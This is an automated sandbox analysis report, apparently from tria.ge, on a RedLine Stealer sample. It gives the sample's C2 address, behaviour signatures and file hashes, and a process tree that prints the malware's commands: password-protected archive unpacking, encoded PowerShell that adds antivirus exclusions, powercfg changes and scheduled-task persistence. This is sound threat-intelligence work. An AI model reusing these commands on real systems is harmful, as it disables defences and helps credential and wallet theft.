Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    93s
  • max time network
    163s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240704-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240704-enlocale:en-usos:windows10-2004-x64system
  • submitted
    07/07/2024, 16:15

General

  • Target

    6bc77deea74bc979a027e31d1a3afb594417c8fc366626f538b64a26d6f29fff.exe

  • Size

    482KB

  • MD5

    a8f7b3983a78d7d80e23f611b6abdcee

  • SHA1

    a7ad42f1777735581e1adeadefcdfd45c4d92162

  • SHA256

    6bc77deea74bc979a027e31d1a3afb594417c8fc366626f538b64a26d6f29fff

  • SHA512

    5af20833a07fd610d0f70ca92b8687415b9ed7bd9b8c1c1b2c9d959da73bb085122295e3ba1d7a0a36d14aa8264b95262f66fcc22f4ea18384645768834e5830

  • SSDEEP

    12288:m5V2qPu7Ja0ApqVhnKrJAJIwjZfnhBr1klpbIoWSiwPm5sb9OGu46HDsKQefaur+:tqPuU1x

Malware Config

Extracted

Family

redline

Botnet

@nmrzv88

C2

94.228.166.68:80

Signatures

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine payload 1 IoCs
  • Downloads MZ/PE file
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 9 IoCs
  • Loads dropped DLL 8 IoCs
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Power Settings 1 TTPs 1 IoCs

    powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

  • Suspicious use of SetThreadContext 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 10 IoCs
  • Suspicious use of AdjustPrivilegeToken 31 IoCs
  • Suspicious use of WriteProcessMemory 46 IoCs
  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\6bc77deea74bc979a027e31d1a3afb594417c8fc366626f538b64a26d6f29fff.exe
    "C:\Users\Admin\AppData\Local\Temp\6bc77deea74bc979a027e31d1a3afb594417c8fc366626f538b64a26d6f29fff.exe"
    1⤵
    • Loads dropped DLL
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:2852
    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1900
      • C:\Users\Admin\AppData\Local\Temp\conhost.exe
        "C:\Users\Admin\AppData\Local\Temp\conhost.exe"
        3⤵
        • Checks computer location settings
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:1420
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\main\main.bat" /S"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:4232
          • C:\Windows\system32\mode.com
            mode 65,10
            5⤵
              PID:5088
            • C:\Users\Admin\AppData\Local\Temp\main\7z.exe
              7z.exe e file.zip -p1404753551733818025492326517 -oextracted
              5⤵
              • Executes dropped EXE
              • Loads dropped DLL
              • Suspicious use of AdjustPrivilegeToken
              PID:2296
            • C:\Users\Admin\AppData\Local\Temp\main\7z.exe
              7z.exe e extracted/file_6.zip -oextracted
              5⤵
              • Executes dropped EXE
              • Loads dropped DLL
              • Suspicious use of AdjustPrivilegeToken
              PID:2632
            • C:\Users\Admin\AppData\Local\Temp\main\7z.exe
              7z.exe e extracted/file_5.zip -oextracted
              5⤵
              • Executes dropped EXE
              • Loads dropped DLL
              • Suspicious use of AdjustPrivilegeToken
              PID:2508
            • C:\Users\Admin\AppData\Local\Temp\main\7z.exe
              7z.exe e extracted/file_4.zip -oextracted
              5⤵
              • Executes dropped EXE
              • Loads dropped DLL
              • Suspicious use of AdjustPrivilegeToken
              PID:3596
            • C:\Users\Admin\AppData\Local\Temp\main\7z.exe
              7z.exe e extracted/file_3.zip -oextracted
              5⤵
              • Executes dropped EXE
              • Loads dropped DLL
              • Suspicious use of AdjustPrivilegeToken
              PID:1996
            • C:\Users\Admin\AppData\Local\Temp\main\7z.exe
              7z.exe e extracted/file_2.zip -oextracted
              5⤵
              • Executes dropped EXE
              • Loads dropped DLL
              • Suspicious use of AdjustPrivilegeToken
              PID:2036
            • C:\Users\Admin\AppData\Local\Temp\main\7z.exe
              7z.exe e extracted/file_1.zip -oextracted
              5⤵
              • Executes dropped EXE
              • Loads dropped DLL
              • Suspicious use of AdjustPrivilegeToken
              PID:2400
            • C:\Windows\system32\attrib.exe
              attrib +H "Installer.exe"
              5⤵
              • Views/modifies file attributes
              PID:4536
            • C:\Users\Admin\AppData\Local\Temp\main\Installer.exe
              "Installer.exe"
              5⤵
              • Executes dropped EXE
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of WriteProcessMemory
              PID:2420
              • C:\Windows\SysWOW64\cmd.exe
                "cmd.exe" /C powershell -EncodedCommand "PAAjAEUANgBIAEcAQgAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAEgAQgBPAEMAWgBwAEgAZgBSAFcAZAAjAD4AIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIABAACgAJABlAG4AdgA6AFUAcwBlAHIAUAByAG8AZgBpAGwAZQAsACQAZQBuAHYAOgBTAHkAcwB0AGUAbQBEAHIAaQB2AGUAKQAgADwAIwBSAEcAZAAzAE8ANQBpADcAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAVQB2AEQAMwAjAD4A" & powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0 & powercfg /hibernate off
                6⤵
                • Power Settings
                • Suspicious use of WriteProcessMemory
                PID:3760
                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                  powershell -EncodedCommand "PAAjAEUANgBIAEcAQgAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAEgAQgBPAEMAWgBwAEgAZgBSAFcAZAAjAD4AIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIABAACgAJABlAG4AdgA6AFUAcwBlAHIAUAByAG8AZgBpAGwAZQAsACQAZQBuAHYAOgBTAHkAcwB0AGUAbQBEAHIAaQB2AGUAKQAgADwAIwBSAEcAZAAzAE8ANQBpADcAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAVQB2AEQAMwAjAD4A"
                  7⤵
                  • Command and Scripting Interpreter: PowerShell
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:2356
              • C:\Windows\SysWOW64\cmd.exe
                "cmd.exe" /c SCHTASKS /CREATE /SC MINUTE /MO 5 /TN "dllhost" /TR "C:\ProgramData\Dllhost\dllhost.exe"
                6⤵
                  PID:2860
                • C:\Windows\SysWOW64\cmd.exe
                  "cmd.exe" /c SCHTASKS /CREATE /SC HOURLY /TN "NvStray\NvStrayService_bk5597" /TR "C:\ProgramData\Dllhost\dllhost.exe"
                  6⤵
                    PID:4088

        Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_tfyrtnz5.ytt.ps1

          Filesize

          60B

          MD5

          d17fe0a3f47be24a6453e9ef58c94641

          SHA1

          6ab83620379fc69f80c0242105ddffd7d98d5d9d

          SHA256

          96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

          SHA512

          5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

        • C:\Users\Admin\AppData\Local\Temp\conhost.exe

          Filesize

          2.5MB

          MD5

          b2e6a3d0bf3320b759c464ae6fa5b735

          SHA1

          cc9f5de7742b9c11f7c0c0e3f9d39b0c16b38cc1

          SHA256

          771b76ba28496c56d1d9c0fe67fdf7688a2f1b12a9eb428050551338945337a3

          SHA512

          bf2f09aebf6d4b07ec06ce37617361e149b26d7fc2f5c0715a5e479747eb5b1f8fc615c90d1e4d8d751e05dd566819facfef8a00cfb7acb61ec588b0c23b022a

        • C:\Users\Admin\AppData\Local\Temp\main\7z.dll

          Filesize

          1.6MB

          MD5

          72491c7b87a7c2dd350b727444f13bb4

          SHA1

          1e9338d56db7ded386878eab7bb44b8934ab1bc7

          SHA256

          34ad9bb80fe8bf28171e671228eb5b64a55caa388c31cb8c0df77c0136735891

          SHA512

          583d0859d29145dfc48287c5a1b459e5db4e939624bd549ff02c61eae8a0f31fc96a509f3e146200cdd4c93b154123e5adfbfe01f7d172db33968155189b5511

        • C:\Users\Admin\AppData\Local\Temp\main\7z.exe

          Filesize

          458KB

          MD5

          619f7135621b50fd1900ff24aade1524

          SHA1

          6c7ea8bbd435163ae3945cbef30ef6b9872a4591

          SHA256

          344f076bb1211cb02eca9e5ed2c0ce59bcf74ccbc749ec611538fa14ecb9aad2

          SHA512

          2c7293c084d09bc2e3ae2d066dd7b331c810d9e2eeca8b236a8e87fdeb18e877b948747d3491fcaff245816507685250bd35f984c67a43b29b0ae31ecb2bd628

        • C:\Users\Admin\AppData\Local\Temp\main\extracted\ANTIAV~1.DAT

          Filesize

          2.2MB

          MD5

          6dd7f70cddc4310e047032d70550f72c

          SHA1

          e93c0d3a03dbe51eba117ea8e10bd0e8b6b27562

          SHA256

          e92508881b6d69c45897a58b4c7dc58ee68e438979604d7f7b6f6ff71f15444d

          SHA512

          1e6398a9739f57a3cf754a6e73f92cf67fe117440a6afe698767c578f396a4b8dab93b5568d02fa23fbcd3565b9017254625d58b1ea7a375c8537f2bab90f42c

        • C:\Users\Admin\AppData\Local\Temp\main\extracted\Installer.exe

          Filesize

          21KB

          MD5

          4265bf9f9535ebb4e1830e2a50589285

          SHA1

          ddc45fe277a3b39179dd9e39e17d71b50a184607

          SHA256

          c07698b4c960b60d8a3c661887d6cc1f7fe74e31a24d4c2ae95d52d1c92ce403

          SHA512

          3a7a0a8a6b82d5e1b6c06c12250eb9b347ed024811467d6da5123f6d07a79836a4e414758cb5c708d0c96cc4a020f8743b2c1e4fa5f5ed448fc087772ab592be

        • C:\Users\Admin\AppData\Local\Temp\main\extracted\file_1.zip

          Filesize

          9KB

          MD5

          18f4fe969c4ba0517b403e28f7ad2b72

          SHA1

          9df09751ee1246db2ed6b6ed6fec87fb0891e077

          SHA256

          06d1004f28a87b42b1d7ac23ff2e4b43d736295abc2e84740504386f40a041f4

          SHA512

          9847b8e2b849b09a76e22ab0d76a1a7d29079676dbdf4277b712709af0ac6a6f0e3a473f144f0a8e247861111357027a758b95e4d096d24cec160192c5da32a4

        • C:\Users\Admin\AppData\Local\Temp\main\extracted\file_2.zip

          Filesize

          9KB

          MD5

          a915fd2a4e2750ee9003e628294bf284

          SHA1

          f9adc1e65fc3d2cf39b2c5a89030f3225e21616d

          SHA256

          5e2e339dbee22d6c05d652646071bc81ad96a6422eb311453ca3905e7dfea285

          SHA512

          044d5370ec915fb488cf77c1b181f5a4f89833028266f922766b782ff445f61ab85b92980d6939d0e252a368eb846def27bcdea7f029999d6854a90c793b3a5f

        • C:\Users\Admin\AppData\Local\Temp\main\extracted\file_3.zip

          Filesize

          9KB

          MD5

          4a5f569872c858ede1c0c67500cfdd6d

          SHA1

          cdcac69d89b45a7903198467c2d2d32126c31661

          SHA256

          88b2d9a82c911ad61f3570aa31b360ae1649b117f6495459698d724f0c9638dc

          SHA512

          d9c6776829def517a253e9c60d0316dbc03092f850383305089dc1110b1abd19668ae47dca8188e96c6f12b66a8e5b5a783901f2115cadd5c1accf019c3bdb40

        • C:\Users\Admin\AppData\Local\Temp\main\extracted\file_4.zip

          Filesize

          9KB

          MD5

          6f7f4f7ed739e3ac5eee8d0876ff76d4

          SHA1

          9a65d52885624dc47f342b5a9875d7720540c755

          SHA256

          b61a321a8a1f4ca1d8c52a1ad0464ac5882073ac8da7c5585f04ce2330b78acc

          SHA512

          35cad901c3f77c58803372a2f230701469d99fb9d8b16d82b59416a62d215614ab044dcae123473cc5d9a4a09e23f2edaac53ef82bbd5b3556b9b187cff50021

        • C:\Users\Admin\AppData\Local\Temp\main\extracted\file_5.zip

          Filesize

          9KB

          MD5

          870a5535c79edcf782551514f48d89ab

          SHA1

          333d814d65753cdc4c4e8fb587c09af6960110d1

          SHA256

          814a92267e0d8867932afd625f2f8e55b04b88b2cfc31e91b6e45e473f1b057d

          SHA512

          f8743ca2f1ef2433b41adc41adf6a5836c1901bda70d5d76301cb06b471796b360544efa591c49b3a7d09eee12cef7ba20e79571f50d891d4729598210772b06

        • C:\Users\Admin\AppData\Local\Temp\main\extracted\file_6.zip

          Filesize

          1.6MB

          MD5

          a62944686498212b290eae637729a151

          SHA1

          2053660850d3f578f7b31e5ced16069d6f9c4ee0

          SHA256

          0bb07f0caab7e5539e7efeca5bee359d9f6b49237e0c908981d9168680fe2b3e

          SHA512

          ae6abd482552445cbf8c308948519227b0d1a82c1b3adb4800f8c9ac32c519c8d0aee8f3b4caada26d1976b63b032aad72d95e574adf205b947dada23a5b8ad3

        • C:\Users\Admin\AppData\Local\Temp\main\file.bin

          Filesize

          1.6MB

          MD5

          716459a6ceac7d310d4227ea3e9ddb59

          SHA1

          fa27addf18c197bf5fc054bfb5ae57de1caf3382

          SHA256

          ba5270891d3eef832fe34f9d67fbbb30ceb3873552ea859139914a6a783b0aa1

          SHA512

          3857cc099edd99f1c20d4c4456ec4577478afcbdb6073852c6df10775a4e6de0316ab68c6dacb7212d27f49057312ba1aeb0c35e695d84832f3e9f8d61f7d8c1

        • C:\Users\Admin\AppData\Local\Temp\main\main.bat

          Filesize

          474B

          MD5

          893874465a8d9f68f0684fd61e9f1d3c

          SHA1

          866a58255ebab05d4ee2f2ed8383a6555ac1df03

          SHA256

          e0855b82ec99b14bdfa38dacf90dadb2071e0d413c6559c752e0b2c6e8cd08c0

          SHA512

          1cc878a3236a5ce4f3a89fae580b4d16a7842fd03dfe0a2c7d1d5da5be822528ea3826f659a70de727c9307fb15997f56b7204582043dc7efcc6c818f7aa2bd7

        • C:\Users\Admin\AppData\Roaming\d3d9.dll

          Filesize

          437KB

          MD5

          ac5eeb006d2b590f66ae7e69174d5f3a

          SHA1

          2331f0fc6f14c8bbd6a176927af84f95a946a638

          SHA256

          9af40752470f3a82a4bb166558f0f5492269a30402458cf11af084f841cb4c49

          SHA512

          4aff61122e0a1ebd25bd73fc9aea3272b82cb544310e243d4396c6cf9246d4b9d808e523b1a34e38ad5c41a04a6e4a6333eb62cef6d85ba5562bb36593fff443

        • memory/1900-20-0x0000000008420000-0x000000000846C000-memory.dmp

          Filesize

          304KB

        • memory/1900-8-0x0000000000400000-0x0000000000450000-memory.dmp

          Filesize

          320KB

        • memory/1900-23-0x0000000009EE0000-0x000000000A40C000-memory.dmp

          Filesize

          5.2MB

        • memory/1900-24-0x0000000009D00000-0x0000000009D50000-memory.dmp

          Filesize

          320KB

        • memory/1900-21-0x0000000009200000-0x0000000009266000-memory.dmp

          Filesize

          408KB

        • memory/1900-37-0x0000000074530000-0x0000000074CE0000-memory.dmp

          Filesize

          7.7MB

        • memory/1900-22-0x00000000097E0000-0x00000000099A2000-memory.dmp

          Filesize

          1.8MB

        • memory/1900-19-0x0000000008290000-0x00000000082CC000-memory.dmp

          Filesize

          240KB

        • memory/1900-18-0x0000000008230000-0x0000000008242000-memory.dmp

          Filesize

          72KB

        • memory/1900-17-0x0000000008310000-0x000000000841A000-memory.dmp

          Filesize

          1.0MB

        • memory/1900-16-0x0000000006840000-0x0000000006E58000-memory.dmp

          Filesize

          6.1MB

        • memory/1900-15-0x0000000005390000-0x000000000539A000-memory.dmp

          Filesize

          40KB

        • memory/1900-14-0x0000000074530000-0x0000000074CE0000-memory.dmp

          Filesize

          7.7MB

        • memory/1900-13-0x0000000005400000-0x0000000005492000-memory.dmp

          Filesize

          584KB

        • memory/1900-12-0x0000000074530000-0x0000000074CE0000-memory.dmp

          Filesize

          7.7MB

        • memory/1900-11-0x0000000005910000-0x0000000005EB4000-memory.dmp

          Filesize

          5.6MB

        • memory/2356-102-0x00000000055D0000-0x0000000005BF8000-memory.dmp

          Filesize

          6.2MB

        • memory/2356-124-0x000000006F400000-0x000000006F44C000-memory.dmp

          Filesize

          304KB

        • memory/2356-146-0x0000000007A90000-0x0000000007A98000-memory.dmp

          Filesize

          32KB

        • memory/2356-145-0x0000000007B40000-0x0000000007B5A000-memory.dmp

          Filesize

          104KB

        • memory/2356-101-0x0000000004F60000-0x0000000004F96000-memory.dmp

          Filesize

          216KB

        • memory/2356-144-0x0000000007A50000-0x0000000007A64000-memory.dmp

          Filesize

          80KB

        • memory/2356-143-0x0000000007A40000-0x0000000007A4E000-memory.dmp

          Filesize

          56KB

        • memory/2356-108-0x0000000005D80000-0x0000000005DA2000-memory.dmp

          Filesize

          136KB

        • memory/2356-113-0x0000000005F20000-0x0000000005F86000-memory.dmp

          Filesize

          408KB

        • memory/2356-117-0x0000000006130000-0x0000000006484000-memory.dmp

          Filesize

          3.3MB

        • memory/2356-118-0x0000000006510000-0x000000000652E000-memory.dmp

          Filesize

          120KB

        • memory/2356-119-0x0000000006570000-0x00000000065BC000-memory.dmp

          Filesize

          304KB

        • memory/2356-123-0x0000000006A90000-0x0000000006AC2000-memory.dmp

          Filesize

          200KB

        • memory/2356-142-0x0000000007A10000-0x0000000007A21000-memory.dmp

          Filesize

          68KB

        • memory/2356-134-0x0000000006A70000-0x0000000006A8E000-memory.dmp

          Filesize

          120KB

        • memory/2356-135-0x0000000007730000-0x00000000077D3000-memory.dmp

          Filesize

          652KB

        • memory/2356-136-0x0000000007E60000-0x00000000084DA000-memory.dmp

          Filesize

          6.5MB

        • memory/2356-137-0x0000000007800000-0x000000000781A000-memory.dmp

          Filesize

          104KB

        • memory/2356-140-0x0000000007890000-0x000000000789A000-memory.dmp

          Filesize

          40KB

        • memory/2356-141-0x0000000007AA0000-0x0000000007B36000-memory.dmp

          Filesize

          600KB

        • memory/2420-99-0x0000000000A10000-0x0000000000A1C000-memory.dmp

          Filesize

          48KB

        • memory/2852-10-0x0000000074530000-0x0000000074CE0000-memory.dmp

          Filesize

          7.7MB

        • memory/2852-1-0x0000000000380000-0x00000000003FE000-memory.dmp

          Filesize

          504KB

        • memory/2852-0-0x000000007453E000-0x000000007453F000-memory.dmp

          Filesize

          4KB

        • memory/2852-100-0x0000000074530000-0x0000000074CE0000-memory.dmp

          Filesize

          7.7MB